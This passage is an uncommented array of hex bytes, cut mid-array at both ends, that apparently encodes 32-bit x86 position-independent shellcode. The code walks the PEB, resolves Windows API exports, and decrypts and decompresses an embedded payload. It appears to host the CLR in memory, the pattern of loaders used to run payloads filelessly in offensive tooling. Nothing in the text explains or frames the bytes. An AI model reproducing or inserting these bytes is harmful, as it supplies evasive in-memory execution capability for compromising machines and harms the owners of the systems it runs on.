0x10, 0x85, 0xc0, 0x0f, 0x85, 0x78, 0xff, 0xff, 0xff, 0x8b, 0x7c, 0x24,
|
||||
0x20, 0x8b, 0x87, 0xe0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x77, 0x8d,
|
||||
0x6e, 0x04, 0x03, 0xe8, 0x89, 0x6c, 0x24, 0x14, 0x8b, 0x45, 0x00, 0x85,
|
||||
0xc0, 0x74, 0x67, 0x03, 0xc6, 0x50, 0xff, 0x53, 0x30, 0x89, 0x44, 0x24,
|
||||
0x10, 0x85, 0xc0, 0x74, 0x47, 0x8b, 0x4d, 0x0c, 0x8b, 0x55, 0x08, 0x03,
|
||||
0xce, 0x03, 0xd6, 0x89, 0x4c, 0x24, 0x18, 0x89, 0x54, 0x24, 0x1c, 0x8b,
|
||||
0x01, 0x85, 0xc0, 0x74, 0x2f, 0x8b, 0xf9, 0x8b, 0xea, 0x8b, 0x4b, 0x34,
|
||||
0x85, 0xc0, 0x79, 0x05, 0x0f, 0xb7, 0xc0, 0xeb, 0x05, 0x83, 0xc0, 0x02,
|
||||
0x03, 0xc6, 0x50, 0xff, 0x74, 0x24, 0x14, 0xff, 0xd1, 0x83, 0xc7, 0x04,
|
||||
0x89, 0x45, 0x00, 0x83, 0xc5, 0x04, 0x8b, 0x07, 0x85, 0xc0, 0x75, 0xd9,
|
||||
0x8b, 0x6c, 0x24, 0x14, 0x83, 0xc5, 0x20, 0x89, 0x6c, 0x24, 0x14, 0x8b,
|
||||
0x45, 0x00, 0x85, 0xc0, 0x75, 0x9d, 0x8b, 0x7c, 0x24, 0x20, 0x8b, 0xaf,
|
||||
0xc0, 0x00, 0x00, 0x00, 0x85, 0xed, 0x74, 0x1b, 0x8b, 0x6c, 0x2e, 0x0c,
|
||||
0x85, 0xed, 0x74, 0x13, 0xeb, 0x0a, 0x6a, 0x00, 0x6a, 0x01, 0x56, 0xff,
|
||||
0xd0, 0x8d, 0x6d, 0x04, 0x8b, 0x45, 0x00, 0x85, 0xc0, 0x75, 0xef, 0x8b,
|
||||
0x84, 0x24, 0x38, 0x02, 0x00, 0x00, 0x8b, 0x6f, 0x28, 0x03, 0xee, 0x83,
|
||||
0x38, 0x03, 0x0f, 0x85, 0x08, 0x01, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x01,
|
||||
0x56, 0xff, 0xd5, 0x8b, 0x94, 0x24, 0x38, 0x02, 0x00, 0x00, 0x81, 0xc2,
|
||||
0x0c, 0x03, 0x00, 0x00, 0x89, 0x54, 0x24, 0x18, 0x80, 0x3a, 0x00, 0x0f,
|
||||
0x84, 0x55, 0x01, 0x00, 0x00, 0x8b, 0x4f, 0x78, 0x85, 0xc9, 0x0f, 0x84,
|
||||
0x4a, 0x01, 0x00, 0x00, 0x8b, 0x6c, 0x31, 0x18, 0x85, 0xed, 0x0f, 0x84,
|
||||
0x3e, 0x01, 0x00, 0x00, 0x8b, 0x44, 0x31, 0x1c, 0x03, 0xc6, 0x89, 0x44,
|
||||
0x24, 0x14, 0x8b, 0x44, 0x31, 0x20, 0x8b, 0x4c, 0x31, 0x24, 0x03, 0xc6,
|
||||
0x03, 0xce, 0x89, 0x4c, 0x24, 0x10, 0x8d, 0x04, 0xa8, 0x83, 0xc0, 0xfc,
|
||||
0x89, 0x44, 0x24, 0x20, 0x8b, 0x00, 0x03, 0xc6, 0x52, 0x50, 0xe8, 0xe7,
|
||||
0x09, 0x00, 0x00, 0x59, 0x59, 0x85, 0xc0, 0x74, 0x16, 0x8b, 0x44, 0x24,
|
||||
0x20, 0x83, 0xe8, 0x04, 0x89, 0x44, 0x24, 0x20, 0x83, 0xed, 0x01, 0x74,
|
||||
0x1c, 0x8b, 0x54, 0x24, 0x18, 0xeb, 0xd9, 0x8b, 0x44, 0x24, 0x10, 0x8b,
|
||||
0x4c, 0x24, 0x14, 0x0f, 0xb7, 0x44, 0x68, 0xfe, 0x8b, 0x04, 0x81, 0x03,
|
||||
0xc6, 0x89, 0x44, 0x24, 0x24, 0xff, 0x77, 0x54, 0x6a, 0x00, 0x56, 0xe8,
|
||||
0x95, 0x09, 0x00, 0x00, 0xff, 0x77, 0x54, 0x6a, 0x00, 0xff, 0x74, 0x24,
|
||||
0x3c, 0xe8, 0x87, 0x09, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x3c, 0x83, 0xc4,
|
||||
0x18, 0x85, 0xc0, 0x0f, 0x84, 0xb5, 0x00, 0x00, 0x00, 0x8b, 0xac, 0x24,
|
||||
0x38, 0x02, 0x00, 0x00, 0x8d, 0xbd, 0x0c, 0x04, 0x00, 0x00, 0x80, 0x3f,
|
||||
0x00, 0x74, 0x31, 0x8b, 0x8d, 0x0c, 0x05, 0x00, 0x00, 0x85, 0xc9, 0x74,
|
||||
0x15, 0x8d, 0x44, 0x24, 0x2c, 0x50, 0x57, 0x53, 0xe8, 0x99, 0x04, 0x00,
|
||||
0x00, 0x8b, 0x8d, 0x0c, 0x05, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x85, 0xc9,
|
||||
0x8d, 0x44, 0x24, 0x2c, 0x0f, 0x44, 0xc7, 0x50, 0x8b, 0x44, 0x24, 0x28,
|
||||
0xff, 0xd0, 0xeb, 0x72, 0xff, 0xd0, 0xeb, 0x6e, 0x05, 0x0c, 0x04, 0x00,
|
||||
0x00, 0x80, 0x38, 0x00, 0x74, 0x1a, 0x8d, 0x4c, 0x24, 0x2c, 0x51, 0x50,
|
||||
0x53, 0xe8, 0x64, 0x04, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x38, 0x50, 0x53,
|
||||
0xe8, 0x26, 0x02, 0x00, 0x00, 0x83, 0xc4, 0x14, 0xff, 0x77, 0x54, 0x6a,
|
||||
0x00, 0x56, 0xe8, 0x02, 0x09, 0x00, 0x00, 0xff, 0x77, 0x54, 0x6a, 0x00,
|
||||
0xff, 0x74, 0x24, 0x3c, 0xe8, 0xf4, 0x08, 0x00, 0x00, 0x8b, 0x84, 0x24,
|
||||
0x50, 0x02, 0x00, 0x00, 0x33, 0xc9, 0x83, 0xc4, 0x18, 0x39, 0x48, 0x04,
|
||||
0x74, 0x15, 0x51, 0x51, 0x51, 0x55, 0x51, 0x51, 0xff, 0x53, 0x5c, 0x85,
|
||||
0xc0, 0x74, 0x13, 0x6a, 0xff, 0x50, 0xff, 0x53, 0x58, 0xeb, 0x0b, 0x64,
|
||||
0xa1, 0x18, 0x00, 0x00, 0x00, 0xff, 0x70, 0x30, 0xff, 0xd5, 0x68, 0x00,
|
||||
0xc0, 0x00, 0x00, 0x6a, 0x00, 0x56, 0xff, 0x53, 0x40, 0x5e, 0x5f, 0x5d,
|
||||
0x5b, 0x81, 0xc4, 0x20, 0x02, 0x00, 0x00, 0xc3, 0x81, 0xec, 0xf4, 0x02,
|
||||
0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24, 0xfc, 0x02, 0x00, 0x00, 0x55, 0x56,
|
||||
0x6a, 0x04, 0x8b, 0x83, 0x18, 0x09, 0x00, 0x00, 0x33, 0xf6, 0x68, 0x00,
|
||||
0x30, 0x00, 0x00, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0x50, 0x56,
|
||||
0xff, 0x53, 0x3c, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0x84, 0x01, 0x00,
|
||||
0x00, 0x8b, 0x84, 0x24, 0x08, 0x03, 0x00, 0x00, 0x8b, 0x88, 0x24, 0x05,
|
||||
0x00, 0x00, 0x05, 0x28, 0x05, 0x00, 0x00, 0x03, 0xc9, 0x51, 0x55, 0x6a,
|
||||
0xff, 0x50, 0x56, 0x56, 0xff, 0x53, 0x50, 0x8d, 0x44, 0x24, 0x58, 0x89,
|
||||
0x44, 0x24, 0x14, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x53, 0xe8, 0xa6, 0xe5,
|
||||
0xff, 0xff, 0x8d, 0x44, 0x24, 0x4c, 0x89, 0x44, 0x24, 0x24, 0x8d, 0x44,
|
||||
0x24, 0x24, 0x50, 0x53, 0xe8, 0x49, 0xe4, 0xff, 0xff, 0x8d, 0x84, 0x24,
|
||||
0x94, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x38, 0x8d, 0x44, 0x24, 0x38,
|
||||
0x50, 0x53, 0xe8, 0x44, 0xee, 0xff, 0xff, 0x83, 0xc4, 0x18, 0x56, 0x56,
|
||||
0xff, 0x93, 0xc4, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xf5, 0x00,
|
||||
0x00, 0x00, 0x8d, 0x44, 0x24, 0x0c, 0x50, 0x8d, 0x83, 0x94, 0x06, 0x00,
|
||||
0x00, 0x50, 0x6a, 0x03, 0x56, 0x8d, 0x83, 0x74, 0x06, 0x00, 0x00, 0x50,
|
||||
0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xd1, 0x00,
|
||||
0x00, 0x00, 0x8b, 0x4c, 0x24, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0x8d,
|
||||
0x83, 0xc4, 0x06, 0x00, 0x00, 0x50, 0x8b, 0x11, 0x51, 0xff, 0x12, 0x85,
|
||||
0xc0, 0x0f, 0x85, 0xa0, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x10, 0x50,
|
||||
0x8b, 0x08, 0xff, 0x51, 0x0c, 0x85, 0xc0, 0x0f, 0x85, 0x84, 0x00, 0x00,
|
||||
0x00, 0x8b, 0x4c, 0x24, 0x0c, 0x8d, 0x54, 0x24, 0x14, 0x89, 0x4c, 0x24,
|
||||
0x34, 0x52, 0x51, 0x8b, 0x01, 0xff, 0x50, 0x0c, 0x85, 0xc0, 0x75, 0x6d,
|
||||
0x57, 0x8d, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0x50, 0x8d, 0x83, 0xe0,
|
||||
0x05, 0x00, 0x00, 0x50, 0x53, 0xe8, 0xd4, 0x02, 0x00, 0x00, 0x83, 0xc4,
|
||||
0x0c, 0x8d, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0x50, 0xff, 0x93, 0x8c,
|
||||
0x00, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x10, 0x8b, 0xf8, 0x6a, 0x02, 0x57,
|
||||
0x51, 0x8b, 0x11, 0xff, 0x52, 0x20, 0x57, 0x8b, 0xf0, 0xff, 0x93, 0x90,
|
||||
0x00, 0x00, 0x00, 0x5f, 0x85, 0xf6, 0x75, 0x27, 0x8b, 0x44, 0x24, 0x10,
|
||||
0x33, 0xf6, 0x56, 0x56, 0x56, 0x8b, 0x08, 0x56, 0x56, 0x56, 0x56, 0x56,
|
||||
0x55, 0x50, 0xff, 0x51, 0x14, 0x85, 0xc0, 0x75, 0x10, 0x8b, 0x44, 0x24,
|
||||
0x0c, 0x6a, 0x02, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x14, 0xeb, 0x02, 0x33,
|
||||
0xf6, 0x8b, 0x44, 0x24, 0x10, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b,
|
||||
0x44, 0x24, 0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x1c, 0x8b, 0x44, 0x24,
|
||||
0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b, 0x83, 0x18, 0x09, 0x00,
|
||||
0x00, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0x50, 0x56, 0x55, 0xe8,
|
||||
0x01, 0x07, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00, 0x00,
|
||||
0x56, 0x55, 0xff, 0x53, 0x40, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xf4, 0x02,
|
||||
0x00, 0x00, 0xc3, 0x81, 0xec, 0x94, 0x00, 0x00, 0x00, 0x64, 0xa1, 0x18,
|
||||
0x00, 0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24, 0x9c, 0x00, 0x00, 0x00, 0x55,
|
||||
0x8b, 0x40, 0x30, 0x56, 0x89, 0x44, 0x24, 0x14, 0x8d, 0x83, 0x4c, 0x03,
|
||||
0x00, 0x00, 0x57, 0x50, 0xff, 0x53, 0x38, 0x8b, 0xf8, 0x33, 0xc0, 0x8b,
|
||||
0x57, 0x3c, 0x03, 0xd7, 0x0f, 0xb7, 0x6a, 0x14, 0x0f, 0xb7, 0x72, 0x06,
|
||||
0x03, 0xea, 0x8d, 0x4d, 0x18, 0x85, 0xf6, 0x74, 0x12, 0x8b, 0x93, 0x44,
|
||||
0x03, 0x00, 0x00, 0x39, 0x11, 0x74, 0x30, 0x40, 0x83, 0xc1, 0x28, 0x3b,
|
||||
0xc6, 0x72, 0xf4, 0x8b, 0x7c, 0x24, 0x14, 0x8b, 0x74, 0x24, 0x14, 0xff,
|
||||
0x53, 0x6c, 0x33, 0xd2, 0x85, 0xff, 0x74, 0x39, 0x8b, 0xce, 0x8b, 0xe9,
|
||||
0x89, 0x6c, 0x24, 0x14, 0x39, 0x41, 0x04, 0x74, 0x1c, 0x42, 0x83, 0xc1,
|
||||
0x04, 0x3b, 0xd7, 0x72, 0xed, 0xeb, 0x2a, 0x6b, 0xc0, 0x28, 0x8b, 0x74,
|
||||
0x28, 0x24, 0x03, 0xf7, 0x8b, 0x7c, 0x28, 0x20, 0xc1, 0xef, 0x02, 0xeb,
|
||||
0xce, 0xff, 0xb4, 0x24, 0xac, 0x00, 0x00, 0x00, 0x51, 0xff, 0x93, 0xe8,
|
||||
0x00, 0x00, 0x00, 0xeb, 0x08, 0x8b, 0x6c, 0x24, 0x14, 0x89, 0x6c, 0x24,
|
||||
0x14, 0xff, 0x53, 0x68, 0x33, 0xc9, 0x85, 0xff, 0x74, 0x2d, 0x39, 0x46,
|
||||
0x04, 0x74, 0x0a, 0x41, 0x83, 0xc6, 0x04, 0x3b, 0xcf, 0x72, 0xf3, 0xeb,
|
||||
0x1e, 0x6a, 0x01, 0x55, 0x8d, 0x44, 0x24, 0x24, 0x50, 0xff, 0x93, 0xd8,
|
||||
0x00, 0x00, 0x00, 0x6a, 0x08, 0x8d, 0x44, 0x24, 0x20, 0x50, 0x56, 0xe8,
|
||||
0xed, 0x05, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x18, 0x8b,
|
||||
0x40, 0x0c, 0x8b, 0x78, 0x0c, 0x83, 0x7f, 0x18, 0x00, 0x0f, 0x84, 0x13,
|
||||
0x01, 0x00, 0x00, 0x8d, 0x83, 0x6c, 0x03, 0x00, 0x00, 0x8b, 0xd0, 0x89,
|
||||
0x54, 0x24, 0x10, 0x8a, 0x02, 0x33, 0xed, 0x83, 0x64, 0x24, 0x18, 0x00,
|
||||
0x45, 0x33, 0xc9, 0x84, 0xc0, 0x0f, 0x84, 0xe1, 0x00, 0x00, 0x00, 0x8d,
|
||||
0x5c, 0x24, 0x24, 0x8b, 0xf2, 0x2b, 0xda, 0x8b, 0xd5, 0x3c, 0x3b, 0x74,
|
||||
0x29, 0x81, 0xf9, 0x80, 0x00, 0x00, 0x00, 0x73, 0x21, 0x3c, 0x77, 0x75,
|
||||
0x04, 0x33, 0xed, 0xeb, 0x0e, 0x8b, 0xea, 0x3c, 0x70, 0x75, 0x08, 0xc7,
|
||||
0x44, 0x24, 0x18, 0x01, 0x00, 0x00, 0x00, 0x88, 0x04, 0x1e, 0x41, 0x46,
|
||||
0x8a, 0x06, 0x84, 0xc0, 0x75, 0xd1, 0x8b, 0x9c, 0x24, 0xa8, 0x00, 0x00,
|
||||
0x00, 0x85, 0xc9, 0x0f, 0x84, 0x9b, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24,
|
||||
0x10, 0x40, 0xc6, 0x44, 0x0c, 0x24, 0x00, 0x03, 0xc1, 0x89, 0x44, 0x24,
|
||||
0x10, 0x8d, 0x44, 0x24, 0x24, 0x50, 0xff, 0x77, 0x18, 0xff, 0x53, 0x34,
|
||||
0x8b, 0x54, 0x24, 0x10, 0x8b, 0xf0, 0x85, 0xf6, 0x74, 0x81, 0x85, 0xed,
|
||||
0x74, 0x33, 0x83, 0x7c, 0x24, 0x18, 0x00, 0x74, 0x10, 0xff, 0xd6, 0x8b,
|
||||
0x54, 0x24, 0x10, 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84, 0x66, 0xff, 0xff,
|
||||
0xff, 0xff, 0x36, 0x53, 0xe8, 0x1a, 0xef, 0xff, 0xff, 0x8b, 0x54, 0x24,
|
||||
0x18, 0x59, 0x59, 0x85, 0xc0, 0x0f, 0x84, 0x50, 0xff, 0xff, 0xff, 0x8b,
|
||||
0x44, 0x24, 0x20, 0xeb, 0x34, 0x83, 0x7c, 0x24, 0x18, 0x00, 0x74, 0x10,
|
||||
0xff, 0xd6, 0x8b, 0x54, 0x24, 0x10, 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84,
|
||||
0x33, 0xff, 0xff, 0xff, 0xff, 0x36, 0x53, 0xe8, 0xe7, 0xee, 0xff, 0xff,
|
||||
0x8b, 0x54, 0x24, 0x18, 0x59, 0x59, 0x85, 0xc0, 0x0f, 0x84, 0x1d, 0xff,
|
||||
0xff, 0xff, 0x8b, 0x44, 0x24, 0x14, 0x8b, 0x40, 0x04, 0x8b, 0x54, 0x24,
|
||||
0x10, 0x89, 0x06, 0xe9, 0x0b, 0xff, 0xff, 0xff, 0x8b, 0x3f, 0x8d, 0x83,
|
||||
0x6c, 0x03, 0x00, 0x00, 0x83, 0x7f, 0x18, 0x00, 0x0f, 0x85, 0xf3, 0xfe,
|
||||
0xff, 0xff, 0x5f, 0x5e, 0x33, 0xc0, 0x5d, 0x40, 0x5b, 0x81, 0xc4, 0x94,
|
||||
0x00, 0x00, 0x00, 0xc3, 0x8b, 0x44, 0x24, 0x0c, 0xc7, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0x33, 0xc0, 0xc2, 0x10, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x2b,
|
||||
0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x99, 0xf7, 0x7c, 0x24,
|
||||
0x08, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x68, 0x00, 0x01, 0x00, 0x00, 0xff,
|
||||
0x74, 0x24, 0x10, 0x6a, 0xff, 0xff, 0x74, 0x24, 0x14, 0x6a, 0x00, 0x6a,
|
||||
0x00, 0xff, 0x50, 0x50, 0xc3, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83,
|
||||
0xe8, 0x05, 0xc3, 0x55, 0x8b, 0xec, 0x64, 0xa1, 0x18, 0x00, 0x00, 0x00,
|
||||
0x33, 0xc9, 0x56, 0x8b, 0x40, 0x30, 0x8b, 0x40, 0x0c, 0x8b, 0x70, 0x0c,
|
||||
0xeb, 0x20, 0x85, 0xc9, 0x75, 0x23, 0xff, 0x75, 0x18, 0xff, 0x75, 0x14,
|
||||
0xff, 0x75, 0x10, 0xff, 0x75, 0x0c, 0x50, 0xff, 0x75, 0x08, 0xe8, 0x9d,
|
||||
0xe7, 0xff, 0xff, 0x8b, 0x36, 0x83, 0xc4, 0x18, 0x8b, 0xc8, 0x8b, 0x46,
|
||||
0x18, 0x85, 0xc0, 0x75, 0xd9, 0x8b, 0xc1, 0x5e, 0x5d, 0xc3, 0x83, 0xec,
|
||||
0x14, 0x53, 0x8b, 0x5c, 0x24, 0x24, 0x33, 0xc0, 0x55, 0x56, 0x33, 0xed,
|
||||
0x89, 0x44, 0x24, 0x0c, 0x57, 0x8b, 0x7c, 0x24, 0x2c, 0x33, 0xf6, 0x89,
|
||||
0x74, 0x24, 0x2c, 0x8b, 0x4c, 0x24, 0x28, 0x8a, 0x0c, 0x08, 0x84, 0xc9,
|
||||
0x74, 0x1a, 0x83, 0xf8, 0x40, 0x74, 0x15, 0x88, 0x4c, 0x2c, 0x14, 0x45,
|
||||
0x40, 0x89, 0x74, 0x24, 0x2c, 0x89, 0x44, 0x24, 0x10, 0x83, 0xfd, 0x10,
|
||||
0x75, 0x6f, 0xeb, 0x54, 0x6a, 0x10, 0x58, 0x2b, 0xc5, 0x8d, 0x74, 0x24,
|
||||
0x14, 0x50, 0x03, 0xf5, 0x6a, 0x00, 0x56, 0xe8, 0xf9, 0x03, 0x00, 0x00,
|
||||
0x83, 0xc4, 0x0c, 0xc6, 0x06, 0x80, 0x83, 0xfd, 0x0c, 0x72, 0x21, 0x53,
|
||||
0x8d, 0x44, 0x24, 0x18, 0x57, 0x50, 0xe8, 0x56, 0x00, 0x00, 0x00, 0x6a,
|
||||
0x10, 0x33, 0xf8, 0x33, 0xda, 0x8d, 0x44, 0x24, 0x24, 0x6a, 0x00, 0x50,
|
||||
0xe8, 0xd0, 0x03, 0x00, 0x00, 0x83, 0xc4, 0x18, 0x8b, 0x44, 0x24, 0x10,
|
||||
0x8b, 0x74, 0x24, 0x2c, 0xc1, 0xe0, 0x03, 0x46, 0x89, 0x44, 0x24, 0x20,
|
||||
0x89, 0x74, 0x24, 0x2c, 0x53, 0x8d, 0x44, 0x24, 0x18, 0x57, 0x50, 0xe8,
|
||||
0x21, 0x00, 0x00, 0x00, 0x33, 0xf8, 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24,
|
||||
0x10, 0x33, 0xda, 0x33, 0xed, 0x85, 0xf6, 0x0f, 0x84, 0x66, 0xff, 0xff,
|
||||
0xff, 0x8b, 0xc7, 0x8b, 0xd3, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x14,
|
||||
0xc3, 0x83, 0xec, 0x10, 0x8b, 0x44, 0x24, 0x18, 0x8b, 0x54, 0x24, 0x1c,
|
||||
0x53, 0x55, 0x56, 0x8b, 0x74, 0x24, 0x20, 0x33, 0xdb, 0x57, 0x8d, 0x7c,
|
||||
0x24, 0x10, 0xa5, 0xa5, 0xa5, 0xa5, 0x8b, 0x4c, 0x24, 0x14, 0x8b, 0x74,
|
||||
0x24, 0x1c, 0x8b, 0x6c, 0x24, 0x18, 0x8b, 0x7c, 0x24, 0x10, 0x89, 0x4c,
|
||||
0x24, 0x28, 0x8b, 0xce, 0xc1, 0xc8, 0x08, 0x8b, 0x74, 0x24, 0x28, 0x03,
|
||||
0xc2, 0xc1, 0xce, 0x08, 0x33, 0xc7, 0x03, 0xf7, 0xc1, 0xc2, 0x03, 0x33,
|
||||
0xf3, 0xc1, 0xc7, 0x03, 0x33, 0xd0, 0x89, 0x6c, 0x24, 0x28, 0x33, 0xfe,
|
||||
0x8b, 0xe9, 0x43, 0x83, 0xfb, 0x1b, 0x72, 0xd6, 0x5f, 0x5e, 0x5d, 0x5b,
|
||||
0x83, 0xc4, 0x10, 0xc3, 0x8b, 0x54, 0x24, 0x10, 0x83, 0xec, 0x14, 0x53,
|
||||
0x8b, 0x5c, 0x24, 0x20, 0x55, 0x8b, 0x6c, 0x24, 0x28, 0x85, 0xd2, 0x0f,
|
||||
0x84, 0xec, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x8d, 0x4b, 0x0f, 0x40, 0x89,
|
||||
0x4c, 0x24, 0x2c, 0x2b, 0xc3, 0x56, 0x89, 0x44, 0x24, 0x0c, 0x57, 0x8d,
|
||||
0x44, 0x24, 0x14, 0x3b, 0xc1, 0x77, 0x04, 0x8d, 0x44, 0x24, 0x23, 0x8b,
|
||||
0xf3, 0x8d, 0x7c, 0x24, 0x14, 0x33, 0xc9, 0xa5, 0xa5, 0xa5, 0xa5, 0x8b,
|
||||
0x74, 0x24, 0x28, 0x8b, 0x04, 0x8e, 0x31, 0x44, 0x8c, 0x14, 0x41, 0x83,
|
||||
0xf9, 0x04, 0x72, 0xf3, 0x8b, 0x74, 0x24, 0x20, 0x8b, 0x44, 0x24, 0x1c,
|
||||
0x8b, 0x7c, 0x24, 0x18, 0x8b, 0x4c, 0x24, 0x14, 0xc7, 0x44, 0x24, 0x30,
|
||||
0x10, 0x00, 0x00, 0x00, 0x03, 0xcf, 0x03, 0xc6, 0xc1, 0xc7, 0x05, 0x33,
|
||||
0xf9, 0xc1, 0xc6, 0x08, 0x33, 0xf0, 0xc1, 0xc1, 0x10, 0x03, 0xc7, 0x03,
|
||||
0xce, 0xc1, 0xc7, 0x07, 0xc1, 0xc6, 0x0d, 0x33, 0xf8, 0x33, 0xf1, 0xc1,
|
||||
0xc0, 0x10, 0x83, 0x6c, 0x24, 0x30, 0x01, 0x75, 0xd7, 0x8b, 0x5c, 0x24,
|
||||
0x28, 0x89, 0x4c, 0x24, 0x14, 0x33, 0xc9, 0x89, 0x74, 0x24, 0x20, 0x89,
|
||||
0x7c, 0x24, 0x18, 0x89, 0x44, 0x24, 0x1c, 0x8b, 0x04, 0x8b, 0x31, 0x44,
|
||||
0x8c, 0x14, 0x41, 0x83, 0xf9, 0x04, 0x72, 0xf3, 0x6a, 0x10, 0x5e, 0x3b,
|
||||
0xd6, 0x8b, 0xca, 0x0f, 0x47, 0xce, 0x85, 0xc9, 0x74, 0x15, 0x8d, 0x7c,
|
||||
0x24, 0x14, 0x8b, 0xf5, 0x2b, 0xfd, 0x8b, 0xd9, 0x8a, 0x04, 0x37, 0x30,
|
||||
0x06, 0x46, 0x83, 0xeb, 0x01, 0x75, 0xf5, 0x8b, 0x5c, 0x24, 0x10, 0x2b,
|
||||
0xd1, 0x03, 0xe9, 0x8b, 0x4c, 0x24, 0x34, 0x80, 0x01, 0x01, 0x75, 0x08,
|
||||
0x49, 0x8d, 0x04, 0x0b, 0x85, 0xc0, 0x7f, 0xf3, 0x8b, 0x5c, 0x24, 0x2c,
|
||||
0x8d, 0x4b, 0x0f, 0x85, 0xd2, 0x0f, 0x85, 0x28, 0xff, 0xff, 0xff, 0x5f,
|
||||
0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x14, 0xc3, 0x83, 0xec, 0x14, 0x8b, 0x4c,
|
||||
0x24, 0x18, 0x83, 0x64, 0x24, 0x10, 0x00, 0x53, 0x55, 0x8b, 0x6c, 0x24,
|
||||
0x24, 0x8a, 0x01, 0x56, 0x57, 0x88, 0x45, 0x00, 0x83, 0xcf, 0xff, 0x8d,
|
||||
0x45, 0x01, 0x33, 0xf6, 0x89, 0x44, 0x24, 0x18, 0x33, 0xdb, 0x8d, 0x41,
|
||||
0x01, 0x89, 0x5c, 0x24, 0x10, 0x89, 0x44, 0x24, 0x14, 0x8d, 0x44, 0x24,
|
||||
0x14, 0x50, 0xe8, 0x67, 0x01, 0x00, 0x00, 0x59, 0x85, 0xc0, 0x0f, 0x84,
|
||||
0x32, 0x01, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xe8, 0x54, 0x01,
|
||||
0x00, 0x00, 0x85, 0xc0, 0x8d, 0x44, 0x24, 0x18, 0x59, 0x50, 0x74, 0x7d,
|
||||
0xe8, 0x45, 0x01, 0x00, 0x00, 0x59, 0x85, 0xc0, 0x74, 0x37, 0x6a, 0x04,
|
||||
0x33, 0xf6, 0x5b, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xe8, 0x31, 0x01, 0x00,
|
||||
0x00, 0x59, 0x8d, 0x34, 0x70, 0x83, 0xeb, 0x01, 0x75, 0xed, 0x8b, 0x54,
|
||||
0x24, 0x18, 0x85, 0xf6, 0x74, 0x0a, 0x8b, 0xc2, 0x2b, 0xc6, 0x8a, 0x00,
|
||||
0x88, 0x02, 0xeb, 0x03, 0xc6, 0x02, 0x00, 0x8b, 0x5c, 0x24, 0x10, 0x42,
|
||||
0xe9, 0xef, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x14, 0x8b, 0x54, 0x24,
|
||||
0x18, 0x0f, 0xb6, 0x38, 0x40, 0x8b, 0xcf, 0x89, 0x44, 0x24, 0x14, 0x83,
|
||||
0xe1, 0x01, 0x83, 0xc1, 0x02, 0xd1, 0xef, 0x74, 0x14, 0x8b, 0xf2, 0x2b,
|
||||
0xf7, 0x8a, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xe9, 0x01, 0x75, 0xf5,
|
||||
0xe9, 0xa4, 0x00, 0x00, 0x00, 0x33, 0xdb, 0x43, 0x89, 0x5c, 0x24, 0x10,
|
||||
0xe9, 0x9c, 0x00, 0x00, 0x00, 0xe8, 0xfc, 0x00, 0x00, 0x00, 0x8b, 0xd0,
|
||||
0x59, 0x85, 0xf6, 0x75, 0x2b, 0x83, 0xfa, 0x02, 0x75, 0x26, 0x8d, 0x44,
|
||||
0x24, 0x14, 0x50, 0xe8, 0xe6, 0x00, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x1c,
|
||||
0x8b, 0xf0, 0x59, 0x85, 0xf6, 0x74, 0x76, 0x8b, 0xca, 0x2b, 0xcf, 0x8a,
|
||||
0x01, 0x88, 0x02, 0x42, 0x41, 0x83, 0xee, 0x01, 0x75, 0xf5, 0xeb, 0x61,
|
||||
0x8b, 0x4c, 0x24, 0x14, 0x8d, 0x44, 0x24, 0x14, 0x83, 0xf6, 0x01, 0x2b,
|
||||
0xd6, 0xc1, 0xe2, 0x08, 0x0f, 0xb6, 0x39, 0x81, 0xc7, 0x00, 0xfe, 0xff,
|
||||
0xff, 0x03, 0xfa, 0x41, 0x50, 0x89, 0x4c, 0x24, 0x18, 0xe8, 0xa4, 0x00,
|
||||
0x00, 0x00, 0x59, 0x8b, 0xc8, 0x81, 0xff, 0x00, 0x7d, 0x00, 0x00, 0x72,
|
||||
0x01, 0x41, 0x8b, 0x54, 0x24, 0x18, 0x8d, 0x41, 0x01, 0x81, 0xff, 0x00,
|
||||
